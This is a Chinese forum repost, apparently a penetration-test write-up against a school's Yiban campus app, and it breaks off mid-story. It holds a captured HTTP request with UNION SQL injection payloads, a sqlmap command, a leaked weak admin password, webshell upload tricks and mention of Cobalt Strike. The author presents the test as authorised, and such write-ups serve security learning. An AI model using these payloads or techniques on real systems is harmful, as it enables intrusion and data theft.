搜索

[26529] 2020-11-23_记一次奇妙的学校系统渗透之旅

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-11-23_记一次奇妙的学校系统渗透之旅 记 一 次 奇 妙 的 学 校 系 统 渗 透 之 旅 J 0 o 1 e y   M 7 8 安 全 团 队   2 0 2 0 - 1 1 - 2 3             温 馨 提 示             本 文 章 仅 供 学 习 交 流 使 用 ， 本 文 章 仅 供 学 习 交 流 使 用 ， 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 0 x 0 1 前 言 前 言 由 于 疫 情 问 题 ， 学 校 的 易 班 A P P 新 增 了 打 卡 系 统 ， 每 天 需 要 进 行 晨 检 ， 午 检 打 卡 ， 忘 记 的 话 就 是 上 千 字 检 讨 本 人 对 于 这 种 “ 形 式 主 义 ” 深 感 不 满 ， 适 逢 最 近 成 立 了 网 络 安 全 战 队 ， 于 是 准 备 操 作 一 番 非 常 幸 运 ， 校 级 “ 易 班 ” 系 统 的 负 责 人 就 是 我 们 团 队 的 指 导 老 师 （ 一 位 开 发 小 牛 人 ） 在 取 得 他 的 授 权 后 ， 便 开 始 了 对 于 易 班 系 统 的 曲 折 而 又 精 彩 的 渗 透 在 此 鸣 谢 在 此 鸣 谢 M 7 8 s e c 的 所 有 成 员 的 所 有 成 员 0 x 0 2 踩 点 踩 点 基 本 的 信 息 搜 集 咱 们 就 不 多 说 了 根 据 老 师 口 述 ， 该 域 名 下 部 署 有 多 项 功 能 系 统 （ 包 括 负 载 均 衡 ， 直 播 ， 表 白 墙 ， 打 卡 签 到 系 统 ， 心 理 测 试 系 统 等 等 ） ， 因 此 不 同 系 统 使 用 了 不 同 的 多 台 服 务 器 看 样 不 能 一 劳 永 逸 ， 需 要 各 个 系 统 、 服 务 器 逐 个 击 破 ， 然 后 摸 入 核 心 系 统 中 首 先 打 开 “ 易 班 ” 系 统 的 首 页 是 这 个 样 子
不 难 看 出 ， 开 发 者 使 用 了 T P 框 架 ， 在 简 单 地 测 试 了 各 种 T P   注 入 ， R C E 的 p a y l o a d 后 均 以 失 败 告 终 ， 看 样 安 全 意 识 还 不 算 太 差 域 名 下 的 首 页 完 全 就 是 一 个 报 错 页 面 ， 没 有 任 何 功 能 点 和 信 息 俗 话 说 得 好 ， 信 息 搜 集 的 好 坏 直 接 决 定 了 我 们 渗 透 的 成 败 ， 因 此 我 们 绝 对 不 能 疏 忽 大 意 。 我 们 先 来 f u z z 一 级 目 录 成 果 还 不 错 ， 不 少 目 录 和 功 能 点 ， 随 后 我 们 继 续 f u z z 各 个 一 级 目 录 的 二 级 目 录 ， 不 断 摸 索 该 域 名 下 部 署 的 功 能 点 具 体 的 就 不 上 图 了 ， 因 为 一 级 目 录 太 多 了 。 了 解 清 楚 功 能 点 后 ， 直 接 脱 裤 子 开 干 0 x 0 3   心 理 健 康 系 统 的 渗 透 （ 心 理 健 康 系 统 的 渗 透 （ I I S 短 文 件 名 短 文 件 名 - - > 老 登 录 口 老 登 录 口 - - > 爆 破 爆 破 - - > 新 登 录 口 新 登 录 口 - - > 上 传 ） 上 传 ） 通 过 一 级 目 录 爆 破 ， 爆 破 出 h t t p : / / x x x . x x x . e d u . c n / p s y 这 个 路 径 发 现 其 中 部 署 了 心 理 教 育 健 康 系 统 ， 中 间 件 为 I I S 但 是 心 理 健 康 系 统 登 录 口 有 验 证 码 机 制 ， 而 且 验 证 码 不 容 易 识 别
立 马 想 到 i i s 短 文 件 名 特 性 随 后 通 过 i i s 短 文 件 名 目 录 扫 描 工 具 （ h t t p s : / / g i t h u b . c o m / l i j i e j i e / I I S _ s h o r t n a m e _ S c a n n e r ） 进 行 扫 描 获 取 到 老 的 其 他 系 统 登 录 口 h t t p : / / x x x . x x x . e d u . c n / p s y / L o g i n 2 . a s p x 如 图 ， 没 有 任 何 验 证 码 机 制 直 接 B u r p   C l u s t e r   b o m b 式 爆 破 成 功 得 到 其 他 系 统 的 弱 口 令 a d m i n , A a 1 2 3 4 5 6 但 是 老 系 统 其 他 页 面 已 经 删 除 ， 无 法 正 常 登 入 后 台
八 嘎 呀 路 ， 不 是 良 民 的 干 活 ！ 但 推 测 新 老 系 统 用 的 同 一 个 数 据 库 访 问 新 系 统 h t t p : / / x x x . x x x . e d u . c n / p s y / L o g i n . a s p x 使 用 密 码 a d m i n , A a 1 2 3 4 5 6 成 功 登 陆 后 台 翻 找 上 传 点
上 传 点 在 h t t p : / / x x x . x x x . e d u . c n / p s y / S c a l e M a n a g e / S c a l e E d i t . a s p x ? S c a l e L i s t I D = 1 量 表 平 台 这 边 的 添 加 题 目 存 在 任 意 文 件 上 传 ( 话 说 这 个 上 传 点 . . . 可 以 说 是 相 当 隐 蔽 了 . . 找 了 好 久 才 找 到 ) 上 传 a s p x 会 莫 名 其 妙 跳 转 ， a s p 不 解 析 ， 直 接 传 了 个 a s m x 的 马 通 过 a w v s   1 0 的 调 试 模 块 执 行 命 令 权 限 为 n e t   s e r v i c e 使 用 c o b a l t s t r i k e 直 接 p o w e r s h e l l 一 句 话 上 权 限 结 果 补 丁 貌 似 比 较 死 。 。 各 种 本 地 提 权 E x p 上 了 一 遍 ， 没 什 么 逼 用 C o m 组 件 ， 土 豆 上 了 也 提 不 下 来 ， 先 这 样 吧 ， 提 权 要 是 提 下 来 了 再 补 充 心 理 健 康 系 统 宣 布 初 步 拿 下
0 x 0 4   直 播 系 统 接 口 注 入 直 播 系 统 接 口 注 入 在 进 入 直 播 系 统 后 ， 发 现 没 什 么 可 以 利 用 的 点 ， 大 概 开 发 还 没 有 完 成 但 是 在 B U R P 中 ， 我 发 现 了 一 个 a j a x 接 口 的 请 求 , 下 体 一 硬 h t t p 请 求 如 下 P O S T   / i n d e x . p h p / L i v e / i n d e x / s e a t _ a j a x . h t m l   H T T P / 1 . 1 H o s t :   x x x . x x x . e d u . c n C o n t e n t - L e n g t h :   2 4 A c c e p t :   / O r i g i n :   h t t p : / / x x x . x x x . e d u . c n X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t U s e r - A g e n t :   M o z i l l a / 5 . 0   ( L i n u x ;   U ;   A n d r o i d   5 . 1 ;   z h - C N ;   1 5 0 1 _ M 0 2   B u i l d / L M Y 4 7 D )   A p p l e W e b K i t / 5 3 4 . 3 0   ( K H T M L ,   l i k e   G e c k o )   V e r s i o n / 4 . 0   U C B r o w s e r / 1 1 . 0 . 0 . 8 1 8   U 3 / 0 . 8 . 0   M o b i l e   S a f a r i / 5 3 4 . 3 0 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = U T F - 8 R e f e r e r :   h t t p : / / x x x . x x x . e d u . c n / i n d e x . p h p / L i v e / i n d e x / s e a t ? p l a c e _ i d = 1 0 & a c t i v e _ i d = 2 0 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 , e n ; q = 0 . 8 C o o k i e :   A S P . N E T _ S e s s i o n I d = s 0 c l w r g i n z 0 r w 3 x 0 s m t w t s g g ;   P H P S E S S I D = 7 9 8 5 b f 0 a 5 f 3 8 e 5 9 2 2 a 6 5 1 a c 1 f 4 e f 9 b 1 a ;   P H P S E S S I D = 7 9 8 5 b f 0 a 5 f 3 8 e 5 9 2 2 a 6 5 1 a c 1 f 4 e f 9 b 1 a C o n n e c t i o n :   c l o s e p l a c e _ i d = 1 0 & a c t i v e _ i d = 2 0
进 行 f u z z 找 到 S Q L I   P a y l o a d 两 个 i d 参 数 都 存 在 u n i o n 注 入 构 造 p a y l o a d )   U N I O N   A L L   S E L E C T   N U L L , N U L L , N U L L , N U L L , u s e r ( ) , N U L L , N U L L , N U L L , N U L L , N U L L , N U L L , N U L L , N U L L , N U L L - -   N e q y 如 图 成 功 获 得 c u r r e n t _ u s e r 信 息 [ " _ r o o t @ 1 0 . 4 0 . 0 . 2 2 ] 构 造 p a y l o a d
p l a c e _ i d = 1 0 )   U N I O N   A L L   S E L E C T   N U L L , N U L L , N U L L , N U L L , g r o u p _ c o n c a t ( S C H E M A _ N A M E ) , N U L L , N U L L , N U L L , N U L L , N U L L , N U L L , N U L L , N U L L , N U L L   f r o m   i n f o r m a t i o n _ s c h e m a . s c h e m a t a - - N e q y & a c t i v e _ i d = 2 0 & a c t i v e _ i d = 2 0 其 他 的 表 、 列 、 数 据 、 在 此 就 不 演 示 了 ， 写 语 句 就 o k ， 都 非 常 简 单 S Q L M A P 构 造 命 令 s q l m a p . p y   - r   r e q u e s t . t x t   - - t e c h = u   - - d b m s = m y s q l   - - l e v e l = 5 自 动 化 演 示 如 图 后 面 发 现 涉 及 了 很 多 其 他 系 统 的 库 ， 但 并 没 有 摸 到 我 最 想 要 的 核 心 系 统 的 库 ， 因 此 渗 透 还 得 继 续 0 X 0 5   一 个 平 淡 无 奇 的 一 个 平 淡 无 奇 的 B 6 4 上 传 上 传 F U Z Z 功 能 点 后 ， 找 到 了 一 个 未 授 权 可 以 上 传 图 片 的 地 方 h t t p : / / x x x . x x x . e d u . c n / v 4 / p u b l i c / w e u i / d e m o / f o r m 1 2 . h t m l
发 现 d a t a : i m a g e / j p e g 时 上 传 j p e g 图 片 直 接 改 d a t a 改 为 i m a g e / p h p , 然 后 将 上 传 内 容 b a s e 6 4 编 码 后 提 交 G e t s h e l l 成 功 ， S Y S T E M 权 限 ， 提 权 都 省 了 0 X 0 6   核 心 系 统 精 彩 渗 透 （ 核 心 系 统 精 彩 渗 透 （ N d a y 反 序 列 化 反 序 列 化 + 命 令 执 行 绕 过 命 令 执 行 绕 过 + 条 件 竞 争 条 件 竞 争 G e t s h e l l ） ） 寻 寻 觅 觅 ， 冷 冷 清 清 ， 凄 凄 惨 惨 凄 凄 ， 终 于 找 到 了 我 们 的 控 制 “ 易 班 ” 核 心 系 统 h t t p : / / x x x . x x x . e d u . c n / v 4 / p u b l i c / i n d e x . p h p / a d m i n / l o g i n . h t m l ? s = a d m i n / a p i . U p d a t e / t r e e 胜 利 就 在 眼 前 . . . 不 睡 觉 也 要 把 他 给 搞 下 来
各 种 f u z z ， 各 种 操 作 一 块 安 排 上 去 ， 发 现 并 没 有 什 么 卵 用 ， 依 旧 日 不 进 去 i m g 难 道 就 此 放 弃 ？ ？ 不 可 能 ， 这 不 是 我 们 的 风 格 我 在 仔 细 查 看 页 面 J S 的 时 候 ， 发 现 了 这 样 一 个 有 趣 的 信 息 眼 前 一 亮 ， 妈 的 T h i n k A d m i n ， 正 好 之 前 有 个 反 序 列 化 的 N d a y ， 安 排 上 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理